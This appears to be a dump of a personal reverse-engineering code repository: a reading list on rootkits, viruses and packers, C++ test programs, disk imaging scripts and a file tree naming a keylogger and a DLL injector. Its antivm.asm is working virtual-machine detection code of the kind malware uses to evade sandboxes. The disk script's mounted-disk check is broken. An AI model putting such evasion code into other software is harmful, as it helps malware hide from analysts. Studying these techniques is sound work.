├── README ├── c++11_test ├── Makefile ├── t1.cpp ├── t2.cpp ├── t3.cpp └── t4.cpp ├── linux ├── asm │ ├── README │ ├── antivm.asm │ └── tiny.asm ├── bash │ ├── image.sh │ └── makeimage.sh ├── idt │ ├── Makefile │ ├── README │ └── idt.c └── kernel-modules │ ├── README │ ├── hello_world │ ├── Makefile │ ├── README │ └── hello_world.c │ ├── hook_open │ ├── Makefile │ ├── README │ └── hook_open.c │ └── keylogger │ ├── Makefile │ ├── README │ └── keylogger.c └── win32 ├── asm ├── README ├── hello_world.asm ├── patch_api.asm └── patch_api_createthread.asm ├── calc_injector ├── README ├── inject.c └── inject_dll.c ├── mucki_unpacker ├── README └── unpacker.c └── pe_info ├── README └── peinfo.c /README: -------------------------------------------------------------------------------- 1 | === fce 2 | 3 | Just a collection of code that I wrote/borrowed and put here for safekeeping purposes. 4 | 5 | Information sources: 6 | 7 | === Computer theory 8 | 9 | [1] http://duartes.org/gustavo/blog/best-of 10 | [2] http://wiki.osdev.org/Main_Page 11 | [3] http://resources.infosecinstitute.com/protected-mode-and-the-idt/ 12 | [4] http://www.codeproject.com/Articles/19648/Get-interrupt-vector-information-in-Windows 13 | [5] "Code: The Hidden Language of Computer Hardware and Software" by Charles Petzold 14 | [6] "Operating Systems Design and Implementation" by Andrew S. Tanenbaum and Albert S. Woodhull 15 | [7] "The Indispensable PC Hardware Book" by Hans-Peter Messmer 16 | [8] "Computer Networks" by Andrew S. Tanenbaum and David J. Wetherall 17 | [9] "Assemblers and Loaders" by David Salomon http://www.davidsalomon.name/assem.advertis/asl.pdf 18 | [10] "x86_64 assembly" http://www.x86-64.org/documentation/assembly.html 19 | [11] http://sandpile.org/ 20 | [12] "Roll your own UNIX distro" http://www.jamesmolloy.co.uk/tutorial_html/index.html 21 | [13] "Writing a simple Operating System from scratch" http://www.cs.bham.ac.uk/~exr/lectures/opsys/10_11/lectures/os-dev.pdf 22 | 23 | === Cryptography 24 | 25 | [1] "Computer Security and Cryptography" by Alan G. Konheim 26 | [2] "Handbook of Applied Cryptography" by A. J. Menezes, P. C. van Oorschot, S. A. Vanstone 27 | [3] "Applied Cryptography" by Bruce Schneier 28 | [4] https://www.crypto101.io/ by Laurens Van Houtven 29 | [5] http://www.madboa.com/geek/openssl/ 30 | [6] "Salted Password Hashing Doing it Right" http://www.codeproject.com/Articles/704865/Salted-Password-Hashing-Doing-it-Right 31 | [7] "Applied Mathematics for Reversers I" by Haldir[RET] http://www.reteam.org/papers/e20.pdf 32 | [8] "Applied Mathematics for Reversers II" by Haldir[RET] http://www.reteam.org/papers/e31.pdf 33 | [9] "Applied Mathematics for Reversers III" by Haldir[RET] http://www.reteam.org/papers/e36.pdf 34 | 35 | === General RE/hacking/programming 36 | 37 | [1] "The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System" by Bill Bunden 38 | [2] "Security Engineering" by Ross Anderson http://www.cl.cam.ac.uk/~rja14/book.html 39 | [3] "The Art of Computer Virus Research and Defense" by Peter Szor 40 | [4] "Malware Forensics: Investigating and Analyzing Malicious Code" by Cameron H. Malin, Eoghan Casey, James M. Aquilina 41 | [5] "Reversing: Secrets of Reverse Engineering" by Eldad Eilam 42 | [6] "Hacking: The Art of Exploitation" by Jon Erickson 43 | [7] "Gray Hat Python: Python Programming for Hackers and Reverse Engineers" by Justin Seitz 44 | [8] http://opensecuritytraining.info/Training.html 45 | [9] "IDA Pro Book by Chris Eagle" http://www.nostarch.com/idapro2.htm 46 | [10] http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-eagle.pdf 47 | [11] http://www.hackerschool.org/HS_Boards/data/Lib_windows/%5BBlackHat%5Deagle_ida_pro_06.pdf 48 | [12] "Reverse Engineering for Beginners" by Dennis Yurichev http://yurichev.com/writings/RE_for_beginners-en.pdf 49 | [13] http://en.wikipedia.org/wiki/List_of_file_signatures 50 | [14] "Breaking AV software" by Joxean Koret http://mincore.c9x.org/breaking_av_software.pdf 51 | [15] "Attacks on Virtual Machine Emulators" by Peter Ferrie http://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf 52 | [16] "RECON14 presentations" http://recon.cx/2014/slides/ 53 | [17] "A python tool to identify different Hash Function Algorithms" https://github.com/AnimeshShaw/Hash-Algorithm-Identifier 54 | [18] "NoSuchCon14 slides" http://www.nosuchcon.org/talks/2014/ 55 | [19] "A Quick Tutorial on Implementing and Debugging Malloc, Free, Calloc, and Realloc" http://danluu.com/malloc-tutorial/ 56 | 57 | === Windows 58 | 59 | [1] http://securityxploded.com/security-training-reversing-malware-analysis.php 60 | [2] http://securityxploded.com/security-training-advanced-malware-analysis.php 61 | [3] "The Art of Unpacking part 1" https://www.blackhat.com/presentations/bh-usa-07/Yason/Presentation/bh-usa-07-yason.pdf 62 | [4] "The Art of Unpacking part 2" https://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf 63 | [5] "A study of the packer problem and its solutions" by Fanglu Guo, Peter Ferrie, Tzi-cker Chiueh http://www.ecsl.cs.sunysb.edu/tr/TR237.pdf 64 | [6] "Anti-Unpacker Tricks by Peter Ferrie" http://pferrie.tripod.com/papers/unpackers.pdf 65 | [7] "How to Write Your Own Packer" by BigBoote http://www.stonedcoder.org/~kd/lib/61-267-1-PB.pdf 66 | [8] "A model for Self-Modifying Code" by Bertrand Anckaert, Matias Madou, Koen De Bosschere http://tuts4you.com/download.php?view.3529 67 | [9] ARTeam eZine http://www.accessroot.com/arteam/site/download.php?list.8 68 | [10] "Demystifying .NET RE part 1" http://resources.infosecinstitute.com/demystifying-dot-net-reverse-engineering-part-1-big-introduction/ 69 | [11] "Demystifying .NET RE part 2" http://resources.infosecinstitute.com/dot-net-reverse-engineering-part-2/ 70 | [12] "Demistifying .NET RE part 3" http://resources.infosecinstitute.com/dot-net-reverse-engineering-part-3/ 71 | [13] http://resources.infosecinstitute.com/demystifying-dot-net-reverse-engineering-introducing-round-trip-engineering/ 72 | [14] http://resources.infosecinstitute.com/demystifying-dot-net-reverse-engineering-advanced-round-trip-engineering/ 73 | [15] http://briolidz.wordpress.com/2012/03/28/windows-driver-debugging-with-windbg-and-vmware/ 74 | [16] http://www.windbg.info/doc/1-common-cmds.html#17_variables 75 | [17] http://msdn.microsoft.com/en-us/library/windows/hardware/ff550659(v=vs.85).aspx 76 | [18] http://www.woodmann.com/forum/archive/index.php/t-6713.html 77 | [19] http://blogs.technet.com/b/markrussinovich/archive/2010/10/14/3360991.aspx 78 | [20] http://disruptivesql.wordpress.com/ 79 | [21] http://waleedassar.blogspot.sk/2012/03/visual-basic-malware-part-1.html 80 | [22] "Visual Basic Reversed - A decompiling approach" by Andrea Geddon http://www.reteam.org/papers/e46.pdf 81 | [23] http://www.codeproject.com/Articles/19648/Get-interrupt-vector-information-in-Windows 82 | [24] http://resources.infosecinstitute.com/protected-mode-and-the-idt/ 83 | [25] "Detecting Virtual Machines" by Waliedassar http://reverseengineering.stackexchange.com/a/1828 84 | [26] "Coding malware for fun and not for profit" http://www.malwaretech.com/2014/04/coding-malware-for-fun-and-not-for.html 85 | [27] "Ring3/Ring0 Rookit Hook detection I" http://www.malwaretech.com/2013/09/ring3-ring0-rootkit-hook-detection-12.html 86 | [28] "Ring3/Ring0 Rootkit Hook Detection II" http://www.malwaretech.com/2013/10/ring3-ring0-rootkit-hook-detection-22.html 87 | [29] "Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation" by Bruce Dang, Alexandre Gazet, Elias Bachaalany and Sebastien Josse 88 | 89 | === Linux 90 | 91 | [1] http://info.fs.tum.de/images/2/21/2011-01-19-kernel-hacking.pdf 92 | [2] http://jvns.ca/blog/2013/10/07/day-5-i-wrote-a-kernel-module/ 93 | [3] https://github.com/citypw/citypw-SCFE/tree/master/security 94 | [4] "Hooking the Linux System Call Table in 2012" http://rpinfosec.blogspot.sk/2012/06/hooking-linux-system-call-table-in-2012.html 95 | [5] http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example 96 | [6] http://kernelnewbies.org/Networking?action=AttachFile&do=get&target=hacking_the_wholism_of_linux_net.txt 97 | [7] "Kernel instrumentation using kprobes" http://phrack.org/issues.html?issue=67&id=6#article 98 | [8] "Handling Interrupt Descriptor Table for fun and profit" http://www.phrack.org/issues.html?issue=59&id=4 99 | [9] http://kernelnewbies.org/New_Kernel_Hacking_HOWTO 100 | [10] "Intercepting System Calls and Dispatchers – Linux" https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/ 101 | [11] http://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem-slides.pdf 102 | [12] http://www.la-samhna.de/library/rootkits/index.html 103 | [13] http://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem.pdf 104 | [14] http://mammon.github.io/ 105 | [15] http://lwn.net/Kernel/LDD3/ 106 | [16] http://www.linuxvoice.com/be-a-kernel-hacker/?pk_campaign=hn&pk_kwd=3 107 | [17] "Linux Rootkits 101" http://turbochaos.blogspot.sk/2013/09/linux-rootkits-101-1-of-3.html 108 | [18] "Linux Rootkits 201" http://turbochaos.blogspot.sk/2013/10/writing-linux-rootkits-201-23.html 109 | [19] "Linux Rootkits 301" http://turbochaos.blogspot.sk/2013/10/writing-linux-rootkits-301_31.html 110 | [20] "Malware Forensics Field Guide for Linux Systems" by Cameron H. Malin, Eoghan Casey, James M. Aquilina 111 | [21] http://ouah.org/RevEng/ 112 | [22] "Linux Device Drivers" https://lwn.net/Kernel/LDD3/ 113 | [23] "Linux x86 run-time process manipulation" http://hick.org/code/skape/papers/needle.txt 114 | [24] "How to detect virtualization on Linux" http://www.dmo.ca/blog/detecting-virtualization-on-linux/ 115 | [25] "ptrace() tutorial" http://mikecvet.wordpress.com/2010/08/14/ptrace-tutorial/ 116 | [26] "ptrace() on 64-bit system" http://theantway.com/2013/01/notes-for-playing-with-ptrace-on-64-bits-ubuntu-12-10/ 117 | [27] "LINUX ANTI-DEBUGGING TECHNIQUES (FOOLING THE DEBUGGER)" http://www.ouah.org/linux-anti-debugging.txt 118 | [28] http://www.ouah.org/core-reconstruction.txt 119 | [29] http://www.ouah.org/textes.html 120 | [30] "Runtime binary encryption" http://phrack.org/issues/58/5.html 121 | [31] "Next-Gen Runtime Binary Encryption" http://phrack.org/issues/63/13.html 122 | [32] "Mechanisms to determine VMWare VM" http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1009458 123 | [33] "Startup state of a Linux/i386 ELF binary" http://asm.sourceforge.net/articles/startup.html 124 | [34] https://code.google.com/p/corkami/downloads/list 125 | [35] "UNIX VIRUSES" http://ouah.org/unix-viruses.txt 126 | [36] "UNIX ELF PARASITES AND VIRUS" http://ouah.org/elf-pv.txt 127 | [37] "The ELF virus writing howto" http://virus.bartolich.at/virus-writing-HOWTO/_html/index.html 128 | [38] "Linux viruses - ELF file format" by Marius Van Oers http://www.mcafee.com/us/resources/white-papers/wp-linux-viruses-elf-file-format.pdf 129 | [39] "The WIT virus" http://vanilla47.com/PDFs/Viruses In Linux PDFs/The WIT Virus.pdf 130 | [40] "Brundle Fly virus" http://vx.org.ua/src_view.php?file=brundle.zip 131 | [41] "Linux.RST.B" http://www.symantec.com/security_response/writeup.jsp?docid=2004-052312-2729-99&tabid=2 132 | [42] "How I made MetaPHOR and what I've learnt" http://vxheavens.com/lib/vmd01.html 133 | [43] "Cheating the ELF Subversive Dynamic Linking to Libraries" http://www.ouah.org/subversiveld.pdf 134 | [44] "Reverse of a coin: A short note on segment alignment" http://vxheavens.com/lib/vhe04.html 135 | [45] "Shiva - Advances in ELF Binary Encryption" https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf 136 | [46] "Burneye protector" http://packetstormsecurity.com/files/30648/burneye-1.0.1-src.tar.bz2.html 137 | [47] "ELF Encrypter" http://elf-encrypter.sourceforge.net/ 138 | [48] "Anatomy of the Linux kernel" http://www.ibm.com/developerworks/linux/library/l-linux-kernel/index.html 139 | [49] "Anatomy of a system call, part 1" http://lwn.net/Articles/604287/ 140 | [50] "Anatomy of a system call, part 2" http://lwn.net/SubscriberLink/604515/7970195bd8eba7a9/ 141 | [51] "Anatomy of Linux process management" http://www.ibm.com/developerworks/linux/library/l-linux-process-management/index.html 142 | [52] http://www.vxheavens.com/herm1t/ 143 | [53] http://old.honeynet.org/reverse/results/sol/sol-06/analysis.html 144 | [54] "About ELF Auxiliary Vectors" http://articles.manugarg.com/aboutelfauxiliaryvectors.html 145 | [55] "What is linux-gate.so.1?" http://www.trilithium.com/johan/2005/08/linux-gate/ 146 | [56] "The Cerberus ELF interface" http://phrack.org/issues/61/8.html#article 147 | [57] "Reverse Engineering Linux ELF Binaries on the x86 Platform" http://www.linuxsa.org.au/meetings/reveng-0.2.pdf 148 | [58] http://www.cs.columbia.edu/~junfeng/10sp-w4118/lectures/l07-proc-linux.pdf 149 | [59] "PLT and GOT the key to chode sharing and dynamic libraries"https://www.technovelty.org//linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html 150 | [60] "PIC and x86-64 libraries" https://www.technovelty.org/c/position-independent-code-and-x86-64-libraries.html 151 | [61] "PIC in shared libraries" http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/ 152 | [62] "PIC in shared libraries on x64" http://eli.thegreenplace.net/2011/11/11/position-independent-code-pic-in-shared-libraries-on-x64/ 153 | [63] "Understanding x64 code models" http://eli.thegreenplace.net/2012/01/03/understanding-the-x64-code-models/ 154 | [64] "Linux kernel debugging using KGDB/GDB" http://sploitfun.blogspot.com/2013/06/linux-kernel-debugging-using-kgdbgdb.html 155 | [65] "System V ABI x86-64 Linux" http://www.x86-64.org/documentation/abi.pdf 156 | [66] "Linux x86 Program Start Up" http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html 157 | [67] "The dissection of a simple hello world ELF file" https://github.com/mewrev/dissection 158 | [68] "How statically linked programs run on Linux" http://eli.thegreenplace.net/2012/08/13/how-statically-linked-programs-run-on-linux 159 | [69] "100 GDB tips" https://github.com/hellogcc/100-gdb-tips/tree/master/src 160 | [70] "Code as Art: Assembly x86_64 programming for Linux" http://0xax.blogspot.sk/p/assembly-x8664-programming-for-linux.html 161 | [71] "Abusing .CTORS and .DTORS for fun 'n profit" http://vxheaven.org/lib/viz00.html 162 | [72] "Static linking (x86) internals" http://sploitfun.blogspot.sk/2013/02/linking-with-static-library-internals.html 163 | [73] "Dynamic linking (x86) internals" http://sploitfun.blogspot.sk/2013/06/dynamic-linking-internals.html 164 | [74] "Static linking (x86_64) internals" http://sploitfun.blogspot.sk/2013/07/static-linking-x8664-internals.html 165 | [75] "Dynamic linking and x86_64 internals" http://sploitfun.blogspot.sk/2013/07/dynamic-linking-x8664-internals.html 166 | [76] "Load-time relocation of shared libraries" http://eli.thegreenplace.net/2011/08/25/load-time-relocation-of-shared-libraries 167 | [77] "A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux" http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html 168 | [78] "Kickers of ELF" http://www.muppetlabs.com/~breadbox/software/elfkickers.html 169 | 170 | === Mac OSX 171 | 172 | [1] http://0xfeedface.org/~shawn/docs 173 | [2] http://reverse.put.as/ 174 | [3] http://samhuri.net/blog/2010.01.18-basics-of-the-mach-o-file-format 175 | [4] IDA FIX OBJC_MSGSEND SCRIPT https://github.com/zynamics/objc-helper-plugin-ida 176 | [5] http://www.sysprobs.com/how-to-use-os-x-10-9-vmware-image-windows-8-windows 177 | [6] http://www.sysprobs.com/vmware-workstation-8-0-8-0-1-unlocker-to-run-mac-os-x-guest-in-windows-7 178 | [7] http://archive.org/details/RECON2008 (T06) 179 | [8] "The Mac Hacker's Handbook" by Charlie Miller 180 | -------------------------------------------------------------------------------- /c++11_test/Makefile: -------------------------------------------------------------------------------- 1 | CC = g++ 2 | CFLAGS = -Wall -O2 -g --std=c++11 3 | 4 | t1 t2 t3: CFLAGS += -lboost_system 5 | 6 | t3: CFLAGS += -lboost_chrono -lboost_thread 7 | 8 | all: t1 t2 t3 t4 9 | 10 | t1: 11 | $(CC) $(CFLAGS) t1.cpp -o t1 12 | t2: 13 | $(CC) $(CFLAGS) t2.cpp -o t2 14 | t3: 15 | $(CC) $(CFLAGS) t3.cpp -o t3 16 | t4: 17 | $(CC) $(CFLAGS) t4.cpp -o t4 18 | 19 | clean: 20 | rm t1 t2 t3 t4 21 | -------------------------------------------------------------------------------- /c++11_test/t1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | struct Person { 6 | Person(std::string _name, int _age) { 7 | name = _name; 8 | age = _age; 9 | } 10 | ~Person() { 11 | std::cout << "Destructing person " << name << " aged " << age << std::endl; 12 | } 13 | std::string name; 14 | int age; 15 | }; 16 | 17 | typedef boost::shared_ptr ptr_Person; 18 | 19 | int main(int argc, char **argv) { 20 | std::vector people; 21 | 22 | ptr_Person michal(new Person("Michal", 17)); 23 | ptr_Person tomas(new Person("Tomas", 17)); 24 | ptr_Person peter(new Person("Peter", 17)); 25 | 26 | people.push_back(michal); 27 | people.push_back(tomas); 28 | people.push_back(peter); 29 | } -------------------------------------------------------------------------------- /c++11_test/t2.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char **argv) { 6 | std::string hello = "Hello World!"; 7 | 8 | BOOST_FOREACH(char c, hello) { 9 | std::cout << c << std::endl; 10 | } 11 | } -------------------------------------------------------------------------------- /c++11_test/t3.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char **argv) { 6 | auto t1 = boost::chrono::high_resolution_clock::now(); 7 | boost::this_thread::sleep_for( boost::chrono::nanoseconds(10000) ); 8 | auto t2 = boost::chrono::high_resolution_clock::now(); 9 | 10 | auto time_span = boost::chrono::duration_cast>(t2-t1); 11 | 12 | std::cout << time_span.count()*1000000000 << " ns" << std::endl; 13 | } -------------------------------------------------------------------------------- /c++11_test/t4.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef unsigned short u16; 5 | 6 | struct symbol { 7 | symbol(std::string _name, u16 _addr, u16 _value): 8 | name(_name), 9 | addr(_addr), 10 | value(_value) {} 11 | 12 | ~symbol() { 13 | 14 | } 15 | 16 | std::string name; 17 | u16 addr; 18 | u16 value; 19 | }; 20 | 21 | typedef std::shared_ptr symbol_ptr; 22 | 23 | int main(int argc, char **argv) { 24 | std::vector symbols; 25 | 26 | symbol_ptr n(new symbol("data", 3, 3)); 27 | symbols.push_back(n); 28 | } -------------------------------------------------------------------------------- /linux/asm/README: -------------------------------------------------------------------------------- 1 | === antivm.asm 2 | 3 | 1. Virtual machines don't contain a valid idtr.base address, that's why a bogus address > 0xfff00000 is returned. 4 | 2. VirtualBox can be (also) found by examining /proc/scsi/scsi file and looking for "VBOX" string. 5 | 6 | === tiny.asm 7 | 8 | Basically a copy from "A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux" [1] 9 | 10 | 11 | [1] http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html -------------------------------------------------------------------------------- /linux/asm/antivm.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | global _start 3 | 4 | struc idtr 5 | .limit resw 1 6 | .base resd 1 7 | endstruc 8 | 9 | section .text 10 | 11 | syscall_exit: 12 | mov al, 1 13 | jmp syscall_wrapper 14 | 15 | syscall_read: 16 | mov al, 3 17 | jmp syscall_wrapper 18 | 19 | syscall_write: 20 | mov al, 4 21 | jmp syscall_wrapper 22 | 23 | syscall_open: 24 | mov al, 5 25 | jmp syscall_wrapper 26 | 27 | syscall_close: 28 | mov al, 6 29 | jmp syscall_wrapper 30 | 31 | syscall_stat: 32 | mov al, 18 33 | jmp syscall_wrapper 34 | 35 | syscall_newfstat: 36 | mov al, 108 37 | jmp syscall_wrapper 38 | 39 | syscall: 40 | int 0x80 41 | ret 42 | 43 | syscall_wrapper: 44 | movzx eax, al 45 | mov ebx, dword [esp + 4] 46 | mov ecx, dword [esp + 8] 47 | mov edx, dword [esp + 12] 48 | mov esi, dword [esp + 16] 49 | mov edi, dword [esp + 20] 50 | call syscall 51 | ret 52 | 53 | _start: 54 | ; VM check 55 | ; idtr.base > 0xfff00000 on a virtual machine 56 | sidt [m] 57 | cmp dword [m + idtr.base], 0xfff00000 58 | jl cont1 59 | push vm_msg_length 60 | push vm_message 61 | push 1 62 | call syscall_write 63 | 64 | cont1: 65 | ; VirtualBox check 66 | ; /proc/scsi/scsi contains VBOX 67 | push 0 68 | push vbox_check_path 69 | call syscall_open 70 | push 512 71 | push vbox_file 72 | push eax 73 | call syscall_read 74 | push eax 75 | call syscall_close 76 | pop eax 77 | 78 | xor ecx, ecx ; found chars 79 | xor ebx, ebx ; position in buffer 80 | xor edx, edx ; char from file 81 | _vxloop: 82 | mov esi, vbox_file 83 | mov edi, vbox_check_str 84 | add esi, ebx 85 | add edi, ecx 86 | mov dl, byte [esi] 87 | cmp dl, byte [edi] 88 | jne _vxnf 89 | inc ecx 90 | cmp ecx, 4 ; compare found length with VBOX len 91 | je cont2 92 | jmp _vxp 93 | _vxnf: 94 | xor ecx, ecx 95 | _vxp: 96 | inc ebx 97 | cmp ebx, eax 98 | jl _vxloop 99 | cont2: 100 | cmp ecx, 4 101 | jne exit 102 | 103 | push vbox_msg_length 104 | push vbox_message 105 | push 1 106 | call syscall_write 107 | 108 | call syscall_close 109 | exit: 110 | push 0 111 | call syscall_exit 112 | 113 | section .data 114 | 115 | m istruc idtr 116 | at idtr.limit, dw 0 117 | at idtr.base, dd 0 118 | iend 119 | 120 | vm_message: db "Running under a VM", 0x0A, 0 121 | vm_msg_length: equ $-vm_message 122 | 123 | vbox_message: db "Running VirtualBox", 0x0A, 0 124 | vbox_msg_length: equ $-vbox_message 125 | 126 | vbox_check_path: db "/proc/scsi/scsi", 0 127 | vbox_check_str: db "VBOX", 0 128 | vbox_file: times 512 db 0 -------------------------------------------------------------------------------- /linux/asm/tiny.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | org 0x08048000 3 | 4 | ehdr: 5 | db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident 6 | times 8 db 0 7 | dw 2 ; e_type (ET_EXEC) 8 | dw 3 ; e_machine (EM_386) 9 | dd 1 ; e_version (EV_CURRENT) 10 | dd _start ; e_entry 11 | dd phdr - $$ ; e_phoff 12 | dd 0 ; e_shoff 13 | dd 0 ; e_flags 14 | dw ehdrsize ; e_ehsize 15 | dw phdrsize ; e_phentsize 16 | dw 1 ; e_phnnum 17 | dw 0 ; e_shentsize 18 | dw 0 ; e_shnum 19 | dw 0 ; e_shstrndx 20 | 21 | ehdrsize: equ $ - ehdr 22 | 23 | phdr: 24 | dd 1 ; p_type (PT_LOAD) 25 | dd 0 ; p_offset 26 | dd $$ ; p_vaddr 27 | dd $$ ; p_paddr 28 | dd filesize ; p_filesz 29 | dd filesize ; p_memsz 30 | dd 5 ; p_flags 31 | dd 0x1000 ; p_align 32 | 33 | phdrsize: equ $ - phdr 34 | 35 | _start: 36 | 37 | mov al, 1 38 | mov bl, 0x42 39 | int 80h 40 | 41 | filesize: equ $ - $$ -------------------------------------------------------------------------------- /linux/bash/image.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # === What? 4 | # Restore a disk from an image. Only 2 partitions are currently supported. 5 | # === Why? 6 | # In case you screw something up. 7 | 8 | IMAGES_DIR="/images" 9 | 10 | function usage() { 11 | cat << EOF 12 | 13 | WARNING: Do not(!!) use it on mounted disks. 14 | WARNING: Only 2 partitions are supported! 15 | 16 | Disk will be restored from $IMAGES_DIR 17 | 18 | Usage: $0 19 | $0 list 20 | 21 | Example: 22 | 23 | Restore disk /dev/sdb and its partitions /dev/sdb1,dev/sdb2 24 | from image $IMAGES_DIR/win7_VBoxUbuntu1204. 25 | 26 | $0 win7_VBoxUbuntu1204 sdb 27 | 28 | EOF 29 | } 30 | 31 | if [ `whoami` != "root" ]; then 32 | echo "root privileges required" 33 | exit 1 34 | fi 35 | 36 | if [ "$1" = "list" ]; then 37 | du -h $IMAGES_DIR | grep -v "${IMAGES_DIR}$" | sort 38 | exit 0 39 | fi 40 | 41 | if [ -z "$1" ] || [ -z "$2" ]; then 42 | usage 43 | exit 1 44 | fi 45 | 46 | DEVICE_NAME="$2" 47 | DEVICE_PATH="/dev/"$DEVICE_NAME 48 | DISK1=$DEVICE_PATH"1" 49 | DISK2=$DEVICE_PATH"2" 50 | 51 | if [ ! -L "/sys/block/$DEVICE_NAME" ]; then 52 | echo "assuming $DEVICE_PATH does not exist" 53 | echo "/sys/block/$DEVICE_NAME does not exist or is not a symbolic link" 54 | exit 1 55 | fi 56 | 57 | if [ ! -d "/sys/block/$DEVICE_NAME/${DEVICE_NAME}1" ]; then 58 | echo "partition $DISK1 does not exist" 59 | exit 1 60 | fi 61 | 62 | if [ ! -d "/sys/block/$DEVICE_NAME/${DEVICE_NAME}2" ]; then 63 | echo "partition $DISK2 does not exist" 64 | exit 1 65 | fi 66 | 67 | mount | grep "$DEVICE_NAME" > /dev/null 68 | 69 | if [ "$?" -eq 0 ]; then 70 | echo "I said DON'T use it on mounted disks." 71 | exit 1 72 | fi 73 | 74 | IMAGE_DIR=$IMAGES_DIR"/"$1 75 | IMAGE_MBR_IMG=$IMAGE_DIR"/mbr.img" 76 | IMAGE_MBR_SF=$IMAGE_DIR"/mbr.sf" 77 | IMAGE_DISK1=$IMAGE_DIR"/part1.img" 78 | IMAGE_DISK2=$IMAGE_DIR"/part2.img" 79 | 80 | if [ ! -d $IMAGE_DIR ]; then 81 | echo "image \"$1\" does not exist" 82 | exit 1 83 | fi 84 | 85 | if [ ! -f $IMAGE_MBR_IMG ]; then 86 | echo $IMAGE_MBR_IMG" does not exist" 87 | exit 1 88 | fi 89 | 90 | if [ ! -f $IMAGE_MBR_SF ]; then 91 | echo $IMAGE_MBR_SF" does not exist" 92 | exit 1 93 | fi 94 | 95 | if [ ! -f $IMAGE_DISK1 ]; then 96 | echo $IMAGE_DISK1" does not exist" 97 | exit 1 98 | fi 99 | 100 | if [ ! -f $IMAGE_DISK2 ]; then 101 | echo $IMAGE_DISK2" does not exist" 102 | exit 1 103 | fi 104 | 105 | DISK1_BYTE_SIZE=$(du -h -b "$IMAGE_DISK1" | awk '{print $1}') 106 | DISK1_SIZE=$(($DISK1_BYTE_SIZE/(1024*1024))) 107 | 108 | DISK2_BYTE_SIZE=$(du -h -b "$IMAGE_DISK2" | awk '{print $1}') 109 | DISK2_SIZE=$(($DISK2_BYTE_SIZE/(1024*1024))) 110 | 111 | echo "" 112 | echo "restoring MBR from $IMAGE_MBR_SF" 113 | echo "-------------------------------------------" 114 | echo "" 115 | 116 | sfdisk $DEVICE_PATH < $IMAGE_MBR_SF --force 117 | 118 | echo "" 119 | 120 | echo "restoring $DISK1 ("$DISK1_SIZE" MB)" 121 | echo "-------------------------------------------" 122 | echo "" 123 | 124 | dd if=$IMAGE_DISK1 2> /dev/null | pv -tpreb -s $DISK1_SIZE"M" | dd of=$DISK1 bs=100M 2> /dev/null 125 | 126 | echo "" 127 | 128 | echo "restoring $DISK2 ("$DISK2_SIZE" MB)" 129 | echo "-------------------------------------------" 130 | echo "" 131 | 132 | dd if=$IMAGE_DISK2 2> /dev/null | pv -tpreb -s $DISK2_SIZE"M" | dd of=$DISK2 bs=100M 2> /dev/null 133 | 134 | echo "" 135 | 136 | echo "-------------------------------------------" 137 | echo "" 138 | echo "image restored ok" 139 | echo "" 140 | -------------------------------------------------------------------------------- /linux/bash/makeimage.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # === What? 4 | # Make an image of a disk. Currently supports only 2 partitions. 5 | # Just like virtual machine snapshots. 6 | # === Why? 7 | # It makes restoring and switching between OSes far easier than 8 | # installing them all over again. 9 | 10 | IMAGES_DIR="/images" 11 | 12 | function usage() { 13 | cat << EOF 14 | 15 | WARNING: Do not(!!) use it on mounted disks. 16 | WARNING: Only 2 partitions are supported! 17 | 18 | Image will be stored into $IMAGES_DIR 19 | 20 | Usage: $0 21 | 22 | Example: 23 | 24 | Make image of the disk /dev/sdb and its partitions /dev/sdb1,/dev/sdb2. 25 | Store it into $IMAGES_DIR/win7_VBoxUbuntu1204. 26 | 27 | $0 win7_VBoxUbuntu1204 sdb 28 | 29 | EOF 30 | } 31 | 32 | if [ `whoami` != "root" ]; then 33 | echo "root privileges required" 34 | exit 1 35 | fi 36 | 37 | if [ -z "$1" ] || [ -z "$2" ]; then 38 | usage 39 | exit 1 40 | fi 41 | 42 | DEVICE_NAME="$2" 43 | DEVICE_PATH="/dev/"$DEVICE_NAME 44 | DISK1=$DEVICE_PATH"1" 45 | DISK2=$DEVICE_PATH"2" 46 | 47 | mount | grep "$DEVICE_NAME" > /dev/null 48 | 49 | if [ ! -L "/sys/block/$DEVICE_NAME" ]; then 50 | echo "assuming $DEVICE_PATH does not exist" 51 | echo "/sys/block/$DEVICE_NAME does not exist or is not a symbolic link" 52 | exit 1 53 | fi 54 | 55 | if [ ! -d "/sys/block/$DEVICE_NAME/${DEVICE_NAME}1" ]; then 56 | echo "partition $DISK1 does not exist" 57 | exit 1 58 | fi 59 | 60 | if [ ! -d "/sys/block/$DEVICE_NAME/${DEVICE_NAME}2" ]; then 61 | echo "partition $DISK2 does not exist" 62 | exit 1 63 | fi 64 | 65 | if [ "$?" -eq 0 ]; then 66 | echo "I said DON'T use it on mounted disks." 67 | exit 1 